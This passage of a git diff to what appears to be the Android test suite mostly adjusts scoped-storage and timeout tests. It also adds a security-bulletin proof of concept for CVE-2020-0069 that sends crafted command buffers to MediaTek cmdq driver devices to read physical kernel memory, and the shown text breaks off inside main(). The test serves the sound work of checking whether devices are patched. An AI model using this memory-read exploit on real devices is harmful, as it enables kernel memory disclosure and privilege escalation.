 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceDeviceTest {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
 
     /** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
     @Test
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 5ef052ef..eb1a474 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -55,7 +55,7 @@
     private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
     private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
 
     private TestStrategy mTest;
 
@@ -281,7 +281,7 @@
 
     private void chooseUseAlways() {
         getUiDevice()
-                .findObject(BUTTON_ALWAYS)
+                .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
                 .click();
     }
 
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 2144def..8dfe7b7 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -29,11 +29,10 @@
 import static android.scopedstorage.cts.lib.TestUtils.READDIR_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
-import static android.scopedstorage.cts.lib.TestUtils.getMediaContentUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 
 import android.app.Activity;
 import android.content.Intent;
-import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.os.Bundle;
 import android.provider.MediaStore;
@@ -146,7 +145,7 @@
             values.put(MediaStore.Images.Media.RELATIVE_PATH, relativePath);
             values.put(MediaStore.Images.Media.DISPLAY_NAME, name);
 
-            getContentResolver().insert(getMediaContentUri(), values);
+            getContentResolver().insert(getImageContentUri(), values);
 
             final Intent intent = new Intent(queryType);
             intent.putExtra(queryType, true);
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index cfb30a3..8729f9b 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -194,4 +194,9 @@
     public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
         runDeviceTest("testLegacyAppUpdatingOwnershipOfExistingEntry");
     }
+
+    @Test
+    public void testInsertWithUnsupportedMimeType() throws Exception {
+        runDeviceTest("testInsertWithUnsupportedMimeType");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index c067a1c..08349a1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -20,8 +20,10 @@
 
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
 import org.junit.Before;
@@ -46,6 +48,19 @@
 
     }
 
+    /**
+     * Runs the given phase of ScopedStorageTest by calling into the device with {@code
+     * --no-isolated-storage} flag.
+     * Throws an exception if the test phase fails.
+     */
+    void runDeviceTestWithDisabledIsolatedStorage(String phase) throws Exception {
+        runDeviceTests(new DeviceTestRunOptions("android.scopedstorage.cts")
+            .setDevice(getDevice())
+            .setTestClassName("android.scopedstorage.cts.ScopedStorageTest")
+            .setTestMethodName(phase)
+            .setDisableIsolatedStorage(true));
+    }
+
     String executeShellCommand(String cmd) throws Exception {
         return getDevice().executeShellCommand(cmd);
     }
@@ -431,6 +446,36 @@
         runDeviceTest("testWallpaperApisManageExternalStoragePrivileged");
     }
 
+    @Test
+    public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+        runDeviceTestWithDisabledIsolatedStorage(
+                "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+
+        // Check that appop is revoked after instrumentation is over.
+        runDeviceTest("testCreateFileInAppExternalDir");
+        runDeviceTest("testCreateFileInOtherAppExternalDir");
+        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final ITestDevice device = getDevice();
+        final boolean isAdbRoot = device.isAdbRoot() ? true : false;
+        try {
+            if (isAdbRoot) {
+                device.disableAdbRoot();
+            }
+            runDeviceTest("testRenameFromShell");
+        } finally {
+            if (isAdbRoot) {
+                device.enableAdbRoot();
+            }
+        }
+    }
+
     private void grantPermissions(String... perms) throws Exception {
         for (String perm : perms) {
             executeShellCommand("pm grant android.scopedstorage.cts " + perm);
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index f700391..4596cab 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -33,9 +33,11 @@
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.installApp;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
 import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
@@ -55,11 +57,15 @@
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.scopedstorage.cts.lib.TestUtils;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
+import android.text.TextUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -78,6 +84,7 @@
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
 
@@ -126,6 +133,7 @@
     @After
     public void teardown() throws Exception {
         executeShellCommand("rm " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
     }
 
     /**
@@ -214,6 +222,7 @@
 
         try {
             executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
         } catch (ErrnoException expected) {
@@ -266,6 +275,7 @@
         FileDescriptor fd = null;
         try {
             executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
             if (fd != null) {
@@ -307,6 +317,7 @@
         final File shellFile = getShellFile();
 
         executeShellCommand("touch " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
         assertThat(Arrays.asList(shellFile.getParentFile().list()))
                 .contains(shellFile.getName());
@@ -374,6 +385,7 @@
                         "LegacyFileAccessTest2");
         try {
             executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -408,6 +420,7 @@
                         "LegacyFileAccessTest2");
         try {
             executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -700,6 +713,57 @@
         }
     }
 
+    /**
+     * b/156717256,b/156336269: Test that MediaProvider doesn't throw error on usage of unsupported
+     * or empty/null MIME type.
+     */
+    @Test
+    public void testInsertWithUnsupportedMimeType() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final String IMAGE_FILE_DISPLAY_NAME = "LegacyStorageTest_file_" + NONCE;
+        final File imageFile = new File(TestUtils.getDcimDir(), IMAGE_FILE_DISPLAY_NAME + ".jpg");
+
+        for (String mimeType : new String[] {
+            "image/*", "", null, "foo/bar"
+        }) {
+            Uri uri = null;
+            try {
+                ContentValues values = new ContentValues();
+                values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+                if (TextUtils.isEmpty(mimeType)) {
+                    values.put(MediaStore.MediaColumns.DISPLAY_NAME, imageFile.getName());
+                } else {
+                    values.put(MediaStore.MediaColumns.DISPLAY_NAME, IMAGE_FILE_DISPLAY_NAME);
+                }
+                values.put(MediaStore.MediaColumns.MIME_TYPE, mimeType);
+
+                uri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+                assertNotNull(uri);
+
+                try (final OutputStream fos = getContentResolver().openOutputStream(uri, "rw")) {
+                    fos.write(BYTES_DATA1);
+                }
+
+                // Closing the file should trigger a scan, we still scan again to ensure MIME type
+                // is extracted from file extension
+                assertNotNull(MediaStore.scanFile(getContentResolver(), imageFile));
+
+                final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME,
+                        MediaStore.MediaColumns.MIME_TYPE};
+                try (Cursor c = getContentResolver().query(uri, projection, null, null, null)) {
+                    assertTrue(c.moveToFirst());
+                    assertEquals(c.getCount(), 1);
+                    assertEquals(c.getString(0), imageFile.getName());
+                    assertTrue("image/jpeg".equalsIgnoreCase(c.getString(1)));
+                }
+            } finally {
+                deleteWithMediaProviderNoThrow(uri);
+            }
+        }
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index f17cbbe..34fbe79 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -374,7 +374,7 @@
     /**
      * Returns the content URI for images based on the current storage volume.
      */
-    public static Uri getMediaContentUri() {
+    public static Uri getImageContentUri() {
         return MediaStore.Images.Media.getContentUri(sStorageVolumeName);
     }
 
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 4bd2344..eb60460 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -781,6 +781,8 @@
         } finally {
             executeShellCommand("rm " + pdfFile.getAbsolutePath());
             executeShellCommand("rm " + videoFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
         }
     }
@@ -1387,6 +1389,7 @@
             videoFile.delete();
             topLevelVideoFile.delete();
             executeShellCommand("rm  " + musicFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), musicFile);
             denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
@@ -2097,11 +2100,13 @@
             // Use shell to create root file because TEST_APP_A is in
             // scoped storage.
             executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
             executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
         }
@@ -2225,6 +2230,7 @@
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             executeShellCommand("touch " + otherTopLevelFile);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
 
@@ -2240,6 +2246,7 @@
         } finally {
             denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             executeShellCommand("rm " + otherTopLevelFile);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -2344,6 +2351,7 @@
             assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
 
             executeShellCommand("touch " + otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
 
             installAppWithStoragePermissions(TEST_APP_A);
             allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
@@ -2362,6 +2370,8 @@
         } finally {
             executeShellCommand("rm " + otherAppPdfFile1);
             executeShellCommand("rm " + otherAppPdfFile2);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
             otherAppImageFile1.delete();
             otherAppImageFile2.delete();
             otherAppVideoFile1.delete();
@@ -2637,6 +2647,139 @@
         }
     }
 
+    @Test
+    public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+        final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
+        final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+        // Nothing special about this, anyone can create an image file in DCIM
+        assertCanCreateFile(imageFileInDcim);
+        // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+        // create a top level file
+        assertCanCreateFile(topLevelPdf);
+        // It can even create a music file in Pictures
+        assertCanCreateFile(musicFileInMovies);
+    }
+
+    @Test
+    public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
+        try {
+            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // Let app A create a file in its data dir
+            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                    NONMEDIA_FILE_NAME);
+            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+
+            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+            // file manager app doesn't have access to other app's external files directory
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+            assertThat(otherAppExternalDataFile.delete()).isFalse();
+
+            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
+
+            assertThrows(IOException.class,
+                    () -> { otherAppExternalDataFile.createNewFile(); });
+
+        } finally {
+            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageStorageReaddir() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherTopLevelFile = new File(getExternalStorageDir(),
+                "other" + NONMEDIA_FILE_NAME);
+        try {
+            installApp(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            executeShellCommand("touch " + otherTopLevelFile);
+
+            // We can list other apps' files
+            assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
+            assertDirectoryContains(otherAppImg.getParentFile(), otherAppImg);
+            assertDirectoryContains(otherAppMusic.getParentFile(), otherAppMusic);
+            // We can list top level files
+            assertDirectoryContains(getExternalStorageDir(), otherTopLevelFile);
+
+            // We can also list all top level directories
+            assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
+        } finally {
+            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            installApp(TEST_APP_A);
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            assertCanQueryAndOpenFile(otherAppPdf, "rw");
+            assertCanQueryAndOpenFile(otherAppImg, "rw");
+            assertCanQueryAndOpenFile(otherAppMusic, "rw");
+            assertCanQueryAndOpenFile(otherHiddenFile, "rw");
+        } finally {
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+        final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
+        final File renamedImageFile = new File(dir, IMAGE_FILE_NAME);
+        final File imageFileInRenamedDir = new File(renamedDir, IMAGE_FILE_NAME);
+        try {
+            assertTrue(imageFile.createNewFile());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isNotEqualTo(-1);
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            final String renameFileCommand = String.format("mv %s %s",
+                    imageFile.getAbsolutePath(), renamedImageFile.getAbsolutePath());
+            executeShellCommand(renameFileCommand);
+            assertFalse(imageFile.exists());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+            assertTrue(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isNotEqualTo(-1);
+
+            final String renameDirectoryCommand = String.format("mv %s %s",
+                    dir.getAbsolutePath(), renamedDir.getAbsolutePath());
+            executeShellCommand(renameDirectoryCommand);
+            assertFalse(dir.exists());
+            assertFalse(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isEqualTo(-1);
+            assertTrue(renamedDir.exists());
+            assertTrue(imageFileInRenamedDir.exists());
+            assertThat(getFileRowIdFromDatabase(imageFileInRenamedDir)).isNotEqualTo(-1);
+        } finally {
+            imageFile.delete();
+            renamedImageFile.delete();
+            imageFileInRenamedDir.delete();
+            dir.delete();
+            renamedDir.delete();
+        }
+    }
+
     /**
      * Checks restrictions for opening pending and trashed files by different apps. Assumes that
      * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 2cc289a..8140dab 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -196,6 +196,11 @@
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
         <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
+        <!--__________________-->
+        <!-- Bulletin 2020-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
new file mode 100644
index 0000000..8ce25c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//  	http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2020-0069",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..3644490
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+                               "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+  uint32_t count;
+  uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+  uint32_t count;
+  uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+  uint32_t count;
+  uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+  uint32_t count;
+  uint64_t addresses;
+  uint64_t values;
+};
+
+struct cmdqCommandStruct {
+  uint32_t value1;
+  uint32_t value2;
+  uint64_t value3;
+  uint64_t buffer;
+  uint32_t buffer_size;
+  struct cmdqReadRegStruct reg_request;
+  struct cmdqRegValueStruct reg_value;
+  struct cmdqReadAddressStruct read_address;
+  uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+  OperationSuccess,
+  OperationFailed,
+  OperationError,
+} OperationResult;
+
+#define SET_VALUE(x)                                                           \
+  instructions[command.buffer_size / 8] = (x);                                 \
+  command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+  uint64_t instructions[0x100];
+  struct cmdqCommandStruct command;
+
+  memset(instructions, 0, sizeof(instructions));
+  memset(&command, 0, sizeof(command));
+
+  command.buffer = (uint64_t)&instructions;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+    int ioctl_result =
+        ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+    if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+      *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+      return OperationSuccess;
+    }
+  }
+
+  // Unable to identify the particular IOCTL code for this device.
+  return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+                                uint64_t address, unsigned char *buffer,
+                                size_t size) {
+  OperationResult result = OperationError;
+  uint64_t *instructions = NULL;
+  uint32_t *addresses = NULL;
+  struct cmdqCommandStruct command;
+  size_t num_words = size / 4;
+
+  if (size % 4) {
+    goto exit;
+  }
+
+  // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+  // read, plus another 4 for prologue/epilogue.
+  instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+  if (!instructions) {
+    goto exit;
+  }
+  // Another buffer to tell the driver where to read back from.
+  addresses = malloc(sizeof(uint32_t) * num_words);
+  if (!addresses) {
+    goto exit;
+  }
+  memset(&command, 0, sizeof(command));
+  command.buffer = (uint64_t)instructions;
+  command.read_address.count = size;
+  command.read_address.addresses = (uint64_t)addresses;
+  command.read_address.values = (uint64_t)buffer;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+
+  for (size_t ii = 0; ii < num_words; ii++) {
+    addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+    // CMDQ_CODE_MOVE - put DMA address into register
+    SET_VALUE(0x0297000000000000 | addresses[ii]);
+    // CMDQ_CODE_WRITE - write PA into DMA address
+    SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+    // CMDQ_CODE_READ - read PA into register from DMA address
+    SET_VALUE(0x01d7000000000005);
+    // CMDQ_CODE_READ - read from PA into register
+    SET_VALUE(0x01c5000000000005);
+    // CMDQ_CODE_WRITE - write value into DMA address
+    SET_VALUE(0x04d7000000000005);
+  }
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  switch (ioctl(fd, ioctl_code, &command)) {
+  case -1:
+    if (errno == EFAULT) {
+      // Command buffer rejected, the driver is patched.
+      result = OperationFailed;
+    }
+    // Something is wrong with the command buffer.  This may be a device
+    // type that has not been encountered during testing.
+    break;
+  case 0:
+    // Driver accepted the command buffer and did something with it.
+    result = OperationSuccess;
+    break;
+  }
+
+exit:
+  if (addresses) {
+    free(addresses);
+  }
+  if (instructions) {
+    free(instructions);
+  }
+  return result;
+}
+
+int main() {
+  int exit_code = EXIT_FAILURE;
+  int fd = -1;
+  unsigned char buffer[0x1000];
+  size_t read_size = 0x100;
+  struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+  int ioctl_code = 0;
+  bool command_accepted = false;
+  // Mediatek have given these as possible kernel base addresses for different
+  // devices.
+  unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+  unsigned long pa_length = 0x10000;
+
+  for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+       ii++) {
+    fd = open(device_names[ii], O_RDONLY);
+    if (-1 == fd) {
